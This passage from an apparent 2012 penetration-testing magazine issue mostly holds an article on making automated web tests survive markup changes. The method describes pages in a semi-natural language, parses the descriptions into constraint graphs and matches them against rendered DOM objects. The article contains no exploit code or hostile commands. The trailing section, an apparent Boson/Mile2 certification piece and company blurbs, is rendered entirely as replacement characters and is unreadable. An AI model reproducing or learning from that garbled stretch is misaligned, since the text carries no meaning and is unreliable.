application. With the next changes or upgrades (since
the page is most likely automatically generated), the
form may be placed somewhere else in the HTML
code, or its ID may change, or any other thing may
happen to the underlying code. As a result, most of the
automatically generated tests will fail, not being able to
match the received response against the stored pattern.
This also applies to the modern, browser-based tests,
like these performed with Selenium. They are also
vulnerable to changes in the IDs (or order – in absence
of the IDs) of the input fields, rendering them unusable
after such changes to the web application.
http://pentestmag.com

At this point, to make the testing script usable, the
tester needs to look into the new page’s code, and
adjust the script so it fits the new page. At the third
or fourth change the tester will most likely become
irritated, just give up and continue testing the pages
manually, crossing out script-based testing from their list
of acceptable methods. The most surprising part is, that
the web page will often actually look the same, with the
report selection in the same place (e.g. top right corner),
just the underlying code changes because of some new
features, modified advertisement banner, etc.
And so we come to the root of the problem of script-
based testing for web pages. The constant change of
the underlying, generated HTML code makes prepared
scripts that parse the code obsolete (or at least outdated)
rather quickly, making them in turn not worth the effort they
require to produce. To change this, we would need more
effective methods, allowing us to describe the page and
its elements in a more convenient way. In other words, we
may need a new language, that will focus more on human
perception of the page, different from HTML, which is a
technical description needed for a computer to render it.
My team has been working on this issue recently, and we
have come to the following conclusions:
• such language should allow for the objects in the page
to be described relative (in terms of size, position,
etc.) to other objects. This is a direct outcome of
experiments we have performed as published in [8]
• the language must also incorporate various level of
objects’ details and their relations, allowing the user
to either specify general relation (e.g. the leftmost
input field in the top form) or fine grained details
about object properties – depending on the specific
task such description is used for.
Getting A Graph Of A Web Page
Now lets have a look at a web page. It consists of
various objects (e.g. text, images, inputs, etc.), each
with certain properties (e.g. color, size) and location.
Such a web page (or more precisely its objects) can be
then presented in a form of graph, with objects being
Figure 2. Sample graph representing objects’ relation and
properties
THE BEST OF 01/2012
WEB APP PENTESTING
the graph nodes and the graph edges representing
relation between objects – as presented in Figure 2
(only a small set of possible objects is presented).
In this figure the two input fields are declared to be
inside of the Form box with one input field above the
other. Some of the objects also have certain properties
declared (e.g. the form box is blue).
A graph is a neat form, with a lot of formal tools and
methods already developed, but before they can be
utilized, we need to transform both the inspected web
page and a description in the proposed language into
that form.
Generating a graph representation of a real web
page seem an easy task at the first glance. There is the
DOM [5] after all which describes the relation between
the elements. It has a form of a tree and trees are just
a subset of graphs. Unfortunately, the DOM does not
provide us with information about the placement of the
objects in the page. There might be some positional
data included, in the form of style properties, but for the
most part its up to the web renderer to place the objects
after interpreting the whole HTML document. Therefore,
the best solution we have found so far is to utilize an
actual renderer to lay out the page elements and then
traverse the DOM and retrieve the objects’ properties,
including their location of each object in the page. We
can then generate a graph similar to that presented in
Figure 2, except the positional relations are measured
in pixels, not generalized terms like above.
At the same time, the description of requirements
must also be represented as a graph in order to match
them against each other and find out the differences.
Its actually hard to decide on how to construct the
syntax of such description language for it to be both
automatically parseable and at the same time usable
for largest possible audience. So far we have decided
to try utilizing a language that is close to natural, to
allow for easy adoption and use, however this choice
is still under discussion and is probably a large enough
topic for a separate article. For now lets just look at an
example description that can be used for the purpose:
There is a text “Log in” to the left of the page. Under the text
there is an input field “login” below the text. There is an
input field “password” below the “login” input. ...Put “ john”
into field “login” ...
More details on the implementation will follow later, but
each statement in the description is eventually parsed
into a set of single constrains and properties like these:
• Object A(text) contains text “Log in”
• Object A is above Object B(input field)
Page 198 http://pentestmag.com
• Object C(input field) is below Object B
• Object A is to the left of page
Eventually, these simple constrains can be merged
into one graph where nodes represent objects and
edges represent the constrains. Finally, we now have
two graphs, one representing the reality and one
representing the expectations and can match them
against each other.
This is done in two stages: first, the object/node
properties are matched, followed later by constrains
resolution. During the first stage, each node of one
graph is compared against each node of the other graph,
taking into account nodes’ types (e.g. input, button, etc.)
and properties. This allows for creation of one-to-many
assignments between the first graph’s (graph A) nodes
and the objects identified in the page (denoted by graph
B nodes). At this stage, having at least one node in graph
A that does not match any node in the other graph means
that the page does not meet the provided specification.
At this point, the verification can be terminated with an
appropriate message. During the second stage, the
algorithm attempts to achieve a one-to-one relation
between the graph A and graph B nodes. In the reference
implementation this is done by a brute-force matching
of possible combination of nodes. Although this is not a
computationally effective solution, it does work reasonably
well since the number of nodes in graph A does not exceed
a few dozens (in most cases). Besides, comparing two
Object names
Object properties
Grammar, etc. ...
AST
Functional
Parser
Description
Objects
extraction
Web Page
Figure 3. Illustrated scenario of comparing a web page against functional description
THE BEST OF 01/2012
graphs is really a graph isomorphism issue, which is of NP
class. If the graphs are matched, objects in the real page
can be identified against the description, and as a result
certain action can be taken (e.g. inputting login details and
proceeding to the next page).
Reference Implementation
(What have we done so far)
As a proof of concept, we have prepared an initial
implementation to test our ideas. Its schematic diagram
has been presented in the following Figure 3.
In order to parse the supplied description, we utilize
ANTLR [7] parser generator. Based on the supplied
rule sets two parsers are generated. The first parser
processes the description into an Abstract Syntax Tree
(AST). This is a commonly used process in text parsing.
At this stage, the tree reflects the structure of the
textual description and not the actual web page being
described. The parser also leaves in the tree nodes
additional information related to recognized object
properties (e.g. name, type, etc.) which is later used for
identifying the nodes/objects. The second parser (tree
parser) traverses the AST, retrieving the information
from the nodes and builds the final graph. During this
process, while executing semantic actions, it uses the
tree structure to determine contextual information (e.g.
to identify what this or the field refer to). It also uses
the information previously stored in the AST nodes to
identify the same objects across separate branches.
Node
matching
Page graph
Properties Constrains
matching matching
Page 199 http://pentestmag.com
 WEB APP PENTESTING
References
• http://en.wikipedia.org/wiki/Fuzz_testing [1]
• http://watir.com/ [2]
• http://seleniumhq.org/ [3]
• http://search.cpan.org/dist/WWW-Mechanize/lib/WWW/Mechanize.pm [4]
• http://www.w3.org/DOM/ [5]
• http://doc.qt.nokia.com/qtwebkit.html [6]
• Terence, P.: The De�nitive Antlr Reference: Building Domain-Speci�c Languages Pragmatic Bookshelf, 2007 [7]
• Dutkiewicz L. [et al.]: Badania nad automatyzacją procesu tworzenia serwisów internetowych, Automatyka : półrocznik Aka-
demii Górniczo-Hutniczej im. Stanisława Staszica w Krakowie, vol. 14, s. 841-851, 2010 [8]

This allow for aggregation of properties described in
separate phrases that relate to the same object. Finally,
the properties that are identified are classified as either
attributes(which are the properties that are related to
the abject alone) or constrains (that describe relative
relationship between two object/nodes).
Independently of the specification, the page supplied
for testing is analyzed. For this purpose we had chosen
an open-source Qt WebKit engine [6]. It allows for loading
and rendering of the supplied web page, providing access
to the constructed DOM. While traversing the DOM, all
the elements of a non-zero physical size are identified.
As a result of the web page analysis, a list of objects
with their properties (retrieved from the DOM), physical
location and size is constructed. The objects constrains
and properties from the specification analysis and the list
of objects from the web page traversing is then fed into
a comparator that utilizes the described above two-stage
matching. Practical experiments show that the matching
time for the test cases were negligible (most of the time
was spent on retrieving and rendering the web pages).
The object matcher handles it, the or reuse of object
name as reference to previous sentences, the same way
humans do in natural language. The parser also allows
for multiple properties or relation definitions with the use
of and and similar constructs. As a result, we can reliably
tell if any web page supplied for testing fulfills all the
requirements set out in the supplied description. We can
also execute simple actions like filling in form fields or
following certain links (e.g. following the link at the bottom
right or submitting the login form).
Conclusions
Software in general, and web applications in particular are
constantly growing in size and complexity. This of course
results in increased difficulty (and cost) of thorough testing,
and increased number of buggy applications as the final
outcome. Long time ago, when applications were simple,
it was possible (and rational) to specify all its functionality
before the development process started. Now its mostly
not feasible, so software specifications often focus on key
functionality, leaving minor items to be ironed out during the
development process. There have even emerged specific
methodologies (named agile) that deliberately focus on
iterations in development, prototyping etc. and limit formal
descriptions. What I propose here is to take somehow
similar approach to automated testing. Automated tests
are relatively expansive to prepare and (unfortunately)
often become obsolete with changes to the software they
test. To increase effectiveness we can either lower the
cost of preparation, or make sure they remain useful for
extended periods of time. The methods proposed here
address both of these aspects. By defining just the key
elements of the GUI/functionality that need to be tested
(and eliminating the need to analyze manually the whole
HTML), the cost of preparation is reduced and the test can
survive minor changes to the GUI. Major changes on the
other hand require much less effort to adjust to than typical
HTML parsing methods. Use of a semi-natural language
also lowers the cost of tests’ preparation by not requiring
specific programming knowledge from the test maker.
On the negative side, it seems we loose a perceived
‘preciseness’ of the tests (since only a few elements are
tested and the test constrains can be loose). This can be
counter-measured by more precise description (it can be
of any detail level), although my feeling is that describing
every single detail of a complicated web page will often
require more effort than just preparing e.g. a regular
expression match against the page’s HTML code.
From a more general point of view however, it seems
that a general trend in software is to increasingly utilize
heuristics, AI, fuzzy logic and similar methods, so a strict
control on the software behavior is being sacrificed for
the benefit of functionality, easier development and
new areas of use. Maybe it also signals the time for
automated tests to follow this way.
MAREK ZACHARA
Marek Zachara is an assistant professor at AGH/UST and
an independent consultant in the �elds of software quality,
security and project management. His professional career
includes several positions with companies both in Poland
(Ericsson and ComArch) and abroad (IMS Group). He has
obtained a PhD in computer science in 2008.
http://marek.zachara.name
email: marek@zachara.name

THE BEST OF 01/2012 Page 200 http://pentestmag.com

 BOSON INSTRUCTOR'S PERSPECTIVE
BETWEEN CPTEngineer & CEH
�������������������������������������������������
������������������������������������������������
��������������������������������������������������
�������������������������������������������������������
�����������������������������������������������������������
������������������������������������������������
��������������������������������������������������������
������������������������������������������������������
���������������������������������������������������������
��������������������������������������������������������
��������������������������������������������������������
���������������������� �����������������������������������������������������
�������������������������������������������������
�����������������
����������������������������������������������������
����������������������� ��������������������������������������������������
�����������������������������������������������������
������������� ��������������������������������������������������
�������������������������������������������������������
��������������������������
������������������������������������������������������
��������������������� ������������������������������������������������������
����������������������������������������������������
������������������������� ��������������������������������������������������
�������������������������
��������������
������������������������������������������������������
������������������������������������������������������
������������������������������������������������������
����������������������������������������������������
����������������������������������������������������
������������������������������������������������
������������������������������������������������������
�������������������������������������������������
�������������������������������
��������������������������������������������������
����������������������������������������������
���������������������������������������������������
�������������������������������������������������
���������������������������������������������������
������������������������������������������������������
����������������������������������������������������������
������������
������������
��������������
�������������������������������������������������������������������������������������������������������������������������
�������������
���������������������������������������������������������
���������������������������������������������������������
������������������������������������������������������
��������������������������������������������������
���������������������������������������������������
������������������������������������������������������
��������������������������������������������������������
���������������������������������������������������������
�����������������������������������������������������
����������������������������������������������������
�����������������������������������������������������
�����������������������������������������������������
�����������������������������������������������������
��������������������������������������������������
��������������������������
��������������������������������������������������
�������������������������������������������������
�������������������������������������������������������
����������������������������������������������������
������������������������������������������������������
�������������������������������������������������
�������������������������������������������������������
�����������������������������������������������������
����������������������������������������������������
�������������������������������������������������
��������������������������������������������������
����������������������������������������������������������
����������������������������������������������������
�������
�������������������������������������������������������
������������������������������������������������������
�������������������������������������������������������
������������������������������������������������������
����������������������������������������������������������
�����������������������������������������������������
����������������������������������������������������
�����������������������������������������������������������
��������������������������������������������������������
 �����������������������������������������������������
�������������������������������������������������������
�����������������������������������������������
������������������������������������������������
���������������������������
�������������������������
�����������������������
�����������������������
���������������������
�����������������������
��������������������
�����������������������
��������������������
����������������������
��������������������������
��������������������������
����������������������
������������������������
�����������������������
���������������������
�������������������������
��������������������������
���������������������������������������������������
������������������������������������������������������
����������������������������������������������������
�����������������������������������������������������
���������������������������������������������������
�������������������������������������������������������
�����������������������������������������������
����������������������������������������������������
�����������������������������������������������������
������������������������������������������������������
���������������������������������������������������������
��������������������������������������������������
�����������������������������������������������������
���������������������������������������������������
���������������������������������������������
���������������������������������������������������
���������������������������������������������������������
���������������������������������������������������������
������������������������������������������������������
������������������������������������������������������
���������

ABOUT BOSON SOFTWARE, LLC ABOUT MILE2

����������������������������������������������������
��������������������������������������������������
������������������������������������������������������
����������������������������������������������������
�������������������������������������������������������
���������������������������������������������������
���������������������������������������������������������
�������������������������������������������������
������������������������������������������������
���������������������������������������������������������
����������������������������������������������������
��������������������������������������������������
�����������������������������������������������
�������������������������������������������������������
������������������������������������������������
������������������������������������������������������
��������������������������������������������������������
������������������������������������������������
����������������������������������������������������
�������������������������������������������������������
�������������������������������������������������������
���������������������������������������������������
���������������������������������������������������
�����������������������������������������������������
���������������������������������������
����������������������������������������������������
����������������������������������������������������
�����������������������������������������������
��������������������������������������������������������
�����������������������������������������������������
�����������������������������������������������������
��������������������������������������������������
��������������������������������������������������
������������������������������������������������������
���������������������������������������������������
��������������������������������������������

������������
������������
��������������
�������������������������������������������������������������������������������������������������������������������������
�������������